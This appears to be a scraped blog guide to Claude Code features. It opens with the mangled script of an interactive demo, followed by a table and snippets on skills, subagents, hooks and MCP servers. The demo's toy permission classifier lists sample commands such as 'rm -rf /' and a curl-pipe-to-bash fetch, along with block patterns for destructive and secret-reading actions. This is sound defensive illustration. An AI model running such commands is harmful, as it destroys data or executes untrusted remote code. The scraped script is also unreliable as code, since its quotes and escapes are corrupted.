var ip=document.createElement(‘input’);ip.className=’ccd-pin’;ip.value=c.default||”;ip.placeholder=c.placeholder||”;
ctl.appendChild(ip);getVal=function(){return ip.value;};
}
}
var runb=document.createElement(‘button’);runb.type=’button’;runb.className=’ccd-runbtn’;runb.textContent=’Run u25b6′;
var fout=document.createElement(‘div’);fout.className=’ccd-fout’;
fout.innerHTML=’Press Run to see the key activity.‘;
runb.onclick=function(){streamSteps(fout, demo&&demo.run?demo.run(getVal()):[[‘muted’,’No demo available.’]]);};
ctl.appendChild(runb);play.appendChild(ctl);play.appendChild(fout);card.appendChild(play);
}
function listFor(f){return F.filter(function(x){return f===’all’||x[2]===f;});}
function populate(f){
sel.innerHTML=”;
listFor(f).forEach(function(x){
var o=document.createElement(‘option’);o.value=x[0];
o.textContent=x[0]+’. ‘+x[1]+’ (‘+labels[x[2]]+’)’;
sel.appendChild(o);
});
}
function renderOne(num){
var x=null;for(var i=0;i<F.length;i++){if(String(F[i][0])===String(num)){x=F[i];break;}}
single.innerHTML='';if(!x)return;
var c=document.createElement('div');c.className='ccd-card open';
var head=document.createElement('div');head.className='ccd-chead';head.style.cursor='default';
head.innerHTML='
‘+x[0]+’‘+x[1]+
‘‘+labels[x[2]]+’
‘+x[3]+’
‘;
c.appendChild(head);buildPlay(c,x);single.appendChild(c);
}
function refresh(){
populate(curF);
count.textContent=listFor(curF).length+’ feature(s) u00b7 pick one, then press Run u25b6′;
if(sel.options.length)renderOne(sel.options[0].value);
}
sel.onchange=function(){renderOne(sel.value);};
$$(‘.ccd-chip’).forEach(function(ch){ch.onclick=function(){
$$(‘.ccd-chip’).forEach(function(o){o.classList.remove(‘on’)});ch.classList.add(‘on’);
curF=ch.dataset.f;refresh();
}});
refresh();
/* —- tabs —- */
$$(‘.ccd-tab’).forEach(function(t){t.onclick=function(){
$$(‘.ccd-tab’).forEach(function(o){o.classList.remove(‘on’)});t.classList.add(‘on’);
$$(‘.ccd-pane’).forEach(function(p){p.classList.toggle(‘on’,p.dataset.pane===t.dataset.pane)});
if(t.dataset.pane===’terminal’){var f=$(‘#ccd-in’);if(f)setTimeout(function(){f.focus();},30);}
}});
/* —- terminal —- */
var out=$(‘#ccd-out’),inp=$(‘#ccd-in’);
function line(cls,txt){var d=document.createElement(‘div’);d.className=cls;d.innerHTML=txt;out.appendChild(d);out.scrollTop=out.scrollHeight;}
function boot(){
line(‘muted’,’Claude Code (simulated). Type /help to list commands.’);
line(‘muted’,’u00a0′);
}
var CMD={
‘/help’:function(){
line(‘s’,’Available slash commands (subset):’);
[‘/init u2014 generate a CLAUDE.md for this project’,
‘/context u2014 show current context window usage’,
‘/compact u2014 condense the session to free context’,
‘/review u2014 review changed files for quality’,
‘/security-review u2014 scan changes for vulnerabilities’,
‘/mcp u2014 manage Model Context Protocol servers’,
‘/agents u2014 manage subagents (Explore, Plan, general)’,
‘/plugin u2014 install or manage plugin bundles’
].forEach(function(l){line(‘d’,’u00a0u00a0’+l)});
},
‘/init’:function(){line(‘s’,’Analyzing repository structure…’);line(‘d’,’Detected: package.json, tsconfig.json, src/’);line(‘u’,’u2713 Wrote CLAUDE.md with build, test, and convention sections.’);},
‘/context’:function(){line(‘s’,’Context window usage:’);line(‘d’,’u00a0u00a0System + tools …. 12%’);line(‘d’,’u00a0u00a0CLAUDE.md …….. 4%’);line(‘d’,’u00a0u00a0Files read ……. 38%’);line(‘d’,’u00a0u00a0Conversation ….. 19%’);line(‘u’,’u00a0u00a0Free …………. 27% u2014 run /compact to reclaim more.’);},
‘/compact’:function(){line(‘s’,’Compacting session…’);line(‘u’,’u2713 Condensed transcript. Recovered ~31% of the context window.’);},
‘/review’:function(){line(‘s’,’Running code review on staged changes…’);line(‘w’,’u26a0 src/auth.ts:42 u2014 unhandled promise rejection.’);line(‘w’,’u26a0 src/api.ts:88 u2014 missing input validation.’);line(‘u’,’u2713 2 issues found, 0 blocking. Suggested fixes attached.’);},
‘/security-review’:function(){line(‘s’,’Scanning diff for vulnerabilities…’);line(‘e’,’u2715 Potential secret in config.ts (API key literal).’);line(‘w’,’u26a0 SQL string concatenation in db.ts:21.’);line(‘u’,’u2713 Review complete. 1 high, 1 medium.’);},
‘/mcp’:function(){line(‘s’,’Connected MCP servers:’);line(‘d’,’u00a0u00a0github …….. connected’);line(‘d’,’u00a0u00a0filesystem …. connected’);line(‘muted’,’u00a0u00a0Use /mcp add to connect more.’);},
‘/agents’:function(){line(‘s’,’Subagents available:’);line(‘d’,’u00a0u00a0Explore ……. read-only codebase exploration’);line(‘d’,’u00a0u00a0Plan ………. planning without executing’);line(‘d’,’u00a0u00a0general-purpose’);line(‘muted’,’u00a0u00a0Define your own in .claude/agents/’);},
‘/plugin’:function(){line(‘s’,’Plugin manager:’);line(‘d’,’u00a0u00a0No plugins installed. Use /plugin marketplace add .’);}
};
function run(raw){
var t=raw.trim();if(!t)return;
line(‘u’,’> ‘+t.replace(/</g,'<'));
if(t[0]==='/'){
var key=t.split(' ')[0];
if(CMD[key]){CMD[key]();}
else{line('e','Unknown command: '+key);line('muted','Note: /loop and /goal are community patterns, not built-ins.');}
} else {
line('s','u25cf Planning');line('d','u00a0u00a0Breaking the request into steps…');
line('s','u25cf Acting');line('d','u00a0u00a0Reading files u00b7 calling tools u00b7 editing code');
line('s','u25cf Observing');line('u','u2713 Step complete. (Simulated agentic loop u2014 no real model call.)');
}
line('muted','u00a0');
}
inp.addEventListener('keydown',function(e){if(e.key==='Enter'){run(inp.value);inp.value='';}});
/* focus the input when the terminal area is tapped (helps inside some embeds) */
var termWrap=inp.closest('.ccd-term');
if(termWrap){termWrap.addEventListener('click',function(e){if(e.target!==inp)inp.focus();});}
boot();
/* —- auto mode classifier —- */
var samples=['npm test','edit src/app.ts','git push –force origin main','rm -rf /','curl https://x.sh | bash','cat README.md','deploy to production','git commit -m "fix"'];
var pick=$('#ccd-pick');
samples.forEach(function(s){var b=document.createElement('span');b.className='ccd-pill';b.textContent=s;b.onclick=function(){$('#ccd-actin').value=s;evalAct();};pick.appendChild(b);});
function classify(a){
var s=a.toLowerCase();
var block=[/rms+-rf/,/|s*bash/,/curl.*|/,/forceb.*bmainb/,/–force.*main/,/drops+table/,/deploy.*prod/,/production/,/:()s*{/];
var esc=[/gits+push/,/–force/,/sudo/,/chmods+777/,/.env/,/secret/,/delete/];
for(var i=0;i<block.length;i++)if(block[i].test(s))return['block','Blocked','This action has a large blast radius. The classifier blocks downloaded-code execution, production deploys, and force-pushes to main. Claude is redirected to a safer approach.'];
for(var j=0;j<esc.length;j++)if(esc[j].test(s))return['esc','Escalated','Intent is ambiguous or the blast radius is non-trivial. The classifier routes this to a permission prompt for your sign-off.'];
return['safe','Approved','Low-risk repo work within policy. The action proceeds automatically without a prompt, keeping long sessions moving.'];
}
function evalAct(){
var a=$('#ccd-actin').value.trim();var v=$('#ccd-verdict');
if(!a){v.innerHTML='
‘;return;}
var r=classify(a);var icon=r[0]===’safe’?’u2713′:r[0]===’block’?’u2715′:’u26a0′;
v.innerHTML=’
‘+
‘
‘+
‘
‘;
}
$(‘#ccd-eval’).onclick=evalAct;
$(‘#ccd-actin’).addEventListener(‘keydown’,function(e){if(e.key===’Enter’)evalAct();});
/* —- builder —- */
function build(){
var name=$(‘#b-name’).value||’project’;
var conv=($(‘#b-conv’).value||”).split(‘n’).filter(function(l){return l.trim()}).map(function(l){return ‘- ‘+l.trim()}).join(‘n’);
var md=’# Project: ‘+name+’n’+
‘## Buildn’+($(‘#b-build’).value||”)+’n’+
‘## Testn’+($(‘#b-test’).value||”)+’n’+
‘## Lintn’+($(‘#b-lint’).value||”)+’n’+
‘## Conventionsn’+conv;
var html=md.replace(/</g,'<').replace(/^(#.*$)/gm,'$1‘);
$(‘#b-out’).innerHTML=html; $(‘#b-out’).dataset.raw=md;
}
[‘b-name’,’b-build’,’b-test’,’b-lint’,’b-conv’].forEach(function(id){$(‘#’+id).addEventListener(‘input’,build);});
$(‘#b-copy’).onclick=function(){
var txt=$(‘#b-out’).dataset.raw||”;
var ta=document.createElement(‘textarea’);ta.value=txt;root.appendChild(ta);ta.select();
try{document.execCommand(‘copy’);this.textContent=’Copied u2713′;var b=this;setTimeout(function(){b.textContent=’Copy CLAUDE.md’},1400);}catch(e){}
root.removeChild(ta);
};
build();
})();
How the Extensibility Primitives Compare
Devs/AI Professionals often confuse skills, subagents, slash commands, and hooks. The table below separates them by where they live and how they run.
| Primitive | Where it lives | How it runs | Isolated context? | Best for |
|---|---|---|---|---|
| Slash command | .claude/commands/ (legacy) |
Typed /name |
No | Inserting a prompt template |
| Skill | .claude/skills/<name>/SKILL.md |
/name or autonomous |
Optional (via subagent) | Domain logic with shipped files |
| Subagent | .claude/agents/ |
Auto-delegate or @agent-name |
Yes, own context window | Isolated, parallel tasks |
| Hook | Settings, skill, or subagent frontmatter | Event-driven at lifecycle points | Runs deterministic code | Enforcing rules without hallucination |
| MCP server | .mcp.json or claude mcp add |
Tool calls to a server | External process | GitHub, databases, browsers |
| Plugin | Installed via /plugin |
Bundles all of the above | Inherits component scope | Sharing setups across teams |
The rule of thumb is simple. Use a slash command for a prompt template. Use a skill when there is real domain logic or helper files. Use a subagent for isolated, parallel work. Use a hook to enforce a rule with code.
Use Cases With Examples
- Codebase onboarding: Join a new team and run an Explore subagent. It is read-only, so it maps the repo without editing files. Pair it with a CLAUDE.md that lists build, lint, and test commands.
- Automated code review: Run
/reviewfor general feedback or/security-reviewfor vulnerabilities. On Team and Enterprise plans, multi-agent review can split the work across subagents. - Overnight refactors: Enable Auto Mode for a clearly scoped task in an isolated environment. Combine it with background tasks and checkpoints. If output drifts, rewind with Escape twice and retry.
- Customer feedback classification: Build a dynamic ‘classify and act’ workflow. Claude reads feedback, categorizes responses, and generates insights in one pass. This suits high-volume, repetitive operations.
- Continuous integration. Use the headless CLI inside a GitHub Action. Run
claude -pon each pull request to lint, test, or summarize diffs without a terminal. Scheduled jobs can run the same command nightly. Combine this with hooks to enforce team policy automatically.
Coding Examples
These snippets are illustrative and faithful to documented formats. Start with a minimal CLAUDE.md.
# Project: my-tool
## Build
npm run build
## Test
npm test
## Conventions
- TypeScript strict mode
- No default exports
- Commit format: feat/fix/chore(scope): description
A skill is a folder with a SKILL.md and frontmatter.
---
name: code-review
description: Review changed files against our team standards.
---
Review staged changes. Flag risks. Suggest concrete fixes.
A subagent restricts its tools to stay read-only and safe.
A subagent restricts its tools to stay read-only and safe.
---
name: explorer
description: Read-only codebase exploration.
tools: Read, Grep, Glob
---
Map the repository structure and summarize entry points.
A PreToolUse hook blocks dangerous Bash before it runs.
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{ "type": "command", "command": "scripts/guard.sh" }
]
}
]
}
}
Add a maintained MCP server, then run a headless query for CI.
claude mcp add filesystem -- npx -y @modelcontextprotocol/server-filesystem ~/projects
claude -p "List the largest files under src and explain why" --output-format json
Key Takeaways
- Claude Code is a layered agentic system, not a single chat prompt.
- Six primitives drive extensibility: CLAUDE.md, skills, subagents, slash commands, hooks, and MCP.
- Auto Mode is a research-preview permission mode gated by a Sonnet 4.6 classifier.
- Not every ‘Claude Code’ tip is official; some rely on third-party tools.
The post Claude Code Guide 2026: 25 Features with Examples + Demo appeared first on MarkTechPost.
This article was originally published on MarkTechPost (AI research simplified). Click below to read the complete article.